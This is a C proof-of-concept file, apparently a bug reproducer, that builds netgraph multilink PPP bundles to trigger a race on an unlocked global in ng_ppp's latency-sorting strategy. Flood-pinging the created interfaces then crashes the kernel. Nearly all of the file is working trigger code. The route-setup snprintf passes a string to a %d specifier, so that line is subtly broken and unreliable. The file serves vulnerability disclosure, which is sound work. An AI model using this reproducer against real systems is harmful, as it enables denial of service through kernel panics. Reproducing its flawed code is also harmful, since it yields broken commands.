/*
 * DF-3482 -- v1 ng_ppp compareLatencies/kqsort race (DF-0330's LIVE v1 twin).
 *
 * ng_ppp_mp_strategy() (ng_ppp.c:1746-1749) sets the file-scope global
 *   compareLatencies = latency;   (stack array of the CURRENT caller)
 *   kqsort(sortByLatency, n, ..., ng_ppp_intcmp);   (:1840 derefs it)
 *   compareLatencies = NULL;
 * with no lock.  In netgraph7 every item funnels to cpu0 so the race is
 * latent (DF-0330); in v1 (the LIVE stack) the ng_iface output path runs
 * ng_ppp_output -> ng_ppp_mp_output -> ng_ppp_mp_strategy in the SENDING
 * PROCESS'S THREAD on whatever CPU it runs on -- no netisr funnel, no
 * BGL, no socket tokens.  Two bundles (or one bundle driven from two
 * CPUs) executing strategy concurrently: thread A finishes its kqsort
 * and stores NULL while thread B is inside ng_ppp_intcmp -> NULL[index]
 * read -> kernel panic.
 *
 * Graph (per bundle):
 *   ppp(multilink, roundRobin=0, 6 links with UNEQUAL bandwidths so
 *   allLinksEqual=0 and mp_strategy runs) --inet-- ng_iface(ngN)
 *   links link1..link6 -- ksocket/udp (bound, absorbs fragments)
 * Setup is root (graph + ifconfig + route); the TRIGGER is any traffic
 * through the interface (ping -f) -- in a real deployment that is
 * routable/forwarded traffic from arbitrary local or remote users.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>
#include <netgraph/ppp/ng_ppp.h>
#include <netgraph/ksocket/ng_ksocket.h>

#define NLINK 6

static int ctrl;
static u_int32_t token = 1;
static int nextport = 20100;

static void die(const char *m)
{
	fprintf(stderr, "%s: %s\n", m, strerror(errno));
	exit(1);
}

static int
ctl(const char *path, u_int32_t cookie, int cmd, const void *arg,
    size_t alen)
{
	struct sockaddr_ng sg;
	struct ng_mesg *m;
	size_t len = sizeof(*m) + (alen ? alen - 1 : 0) + 1;
	ssize_t n;

	m = calloc(1, len);
	m->header.version = NG_VERSION;
	m->header.typecookie = cookie;
	m->header.cmd = cmd;
	m->header.arglen = alen;
	m->header.token = token++;
	if (alen)
		memcpy(m->data, arg, alen);
	memset(&sg, 0, sizeof(sg));
	sg.sg_len = 2 + strlen(path);
	sg.sg_family = AF_NETGRAPH;
	strlcpy(sg.sg_data, path, sizeof(sg.sg_data));
	n = sendto(ctrl, m, len, 0, (struct sockaddr *)&sg, sg.sg_len);
	free(m);
	return (n < 0) ? -errno : 0;
}

static int bindport(const char *path)
{
	struct sockaddr_in sin;
	int rc, p;

	memset(&sin, 0, sizeof(sin));
	sin.sin_len = sizeof(sin);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	for (p = nextport; p < nextport + 40; p++) {
		sin.sin_port = htons(p);
		rc = ctl(path, NGM_KSOCKET_COOKIE, NGM_KSOCKET_BIND,
		    &sin, sizeof(sin));
		if (rc == 0) {
			nextport = p + 1;
			return (p);
		}
		if (rc != -EADDRINUSE)
			die("ksocket bind");
	}
	die("no port");
	return (-1);
}

static void
build_bundle(int idx)
{
	struct ngm_mkpeer mk;
	struct ng_ppp_node_conf conf;
	char hook[8], path[32], ifpath[16];
	int rc, i;

	/* ppp node on our hook p<idx> */
	snprintf(hook, sizeof(hook), "p%d", idx);
	memset(&mk, 0, sizeof(mk));
	strlcpy(mk.type, "ppp", sizeof(mk.type));
	strlcpy(mk.ourhook, hook, sizeof(mk.ourhook));
	strlcpy(mk.peerhook, "link0", sizeof(mk.peerhook));
	rc = ctl("f1:", NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk));
	if (rc && rc != -EEXIST) die("mkpeer ppp");
	snprintf(path, sizeof(path), "f1:%s", hook);

	/* iface node on the ppp node's inet hook */
	memset(&mk, 0, sizeof(mk));
	strlcpy(mk.type, "iface", sizeof(mk.type));
	strlcpy(mk.ourhook, "inet", sizeof(mk.ourhook));
	strlcpy(mk.peerhook, "inet", sizeof(mk.peerhook));
	rc = ctl(path, NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk));
	if (rc) die("mkpeer iface");

	/* NLINK ksocket links with graded bandwidths */
	for (i = 1; i <= NLINK; i++) {
		char lp[32];

		memset(&mk, 0, sizeof(mk));
		strlcpy(mk.type, "ksocket", sizeof(mk.type));
		snprintf(mk.ourhook, sizeof(mk.ourhook), "link%d", i);
		strlcpy(mk.peerhook, "inet/dgram/udp", sizeof(mk.peerhook));
		rc = ctl(path, NGM_GENERIC_COOKIE, NGM_MKPEER, &mk,
		    sizeof(mk));
		if (rc) die("mkpeer ks");
		snprintf(lp, sizeof(lp), "%s.link%d", path, i);
		bindport(lp);
	}

	/* config: multilink, unequal links -> allLinksEqual=0 -> strategy */
	memset(&conf, 0, sizeof(conf));
	conf.bund.mrru = 1500;
	conf.bund.enableMultilink = 1;
	conf.bund.enableIP = 1;
	conf.bund.enableRoundRobin = 0;
	for (i = 0; i < NG_PPP_MAX_LINKS; i++) {
		conf.links[i].mru = 1600;
		conf.links[i].latency = 10 * ((i % NLINK) + 1);
		conf.links[i].bandwidth = 125000 / ((i % NLINK) + 1);
		conf.links[i].enableLink = (i >= 1 && i <= NLINK);
	}
	rc = ctl(path, NGM_PPP_COOKIE, NGM_PPP_SET_CONFIG, &conf,
	    sizeof(conf));
	if (rc) die("setconfig");

	/* configure + route the ng_iface interface */
	snprintf(ifpath, sizeof(ifpath), "ng%d", idx);
	{
		char cmd[128];
		snprintf(cmd, sizeof(cmd),
		    "ifconfig %s 10.24%d.0.1/30 up", ifpath, idx);
		if (system(cmd) != 0) printf("warn: %s\n", cmd);
		snprintf(cmd, sizeof(cmd),
		    "route add -host 10.24%d.0.9 -interface %s", ifpath,
		    ifpath);
		if (system(cmd) != 0) printf("warn: %s\n", cmd);
	}
}

int
main(int argc, char **argv)
{
	struct ngm_name nm;
	int nb = (argc > 1) ? atoi(argv[1]) : 2;
	int i;

	ctrl = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (ctrl < 0) die("ctrl");

	memset(&nm, 0, sizeof(nm));
	strlcpy(nm.name, "f1", sizeof(nm.name));
	(void)ctl(".", NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm));

	for (i = 0; i < nb; i++)
		build_bundle(i);

	printf("built %d iface-fed MP bundles; ping -f 10.24<N>.0.9\n", nb);
	return (0);
}
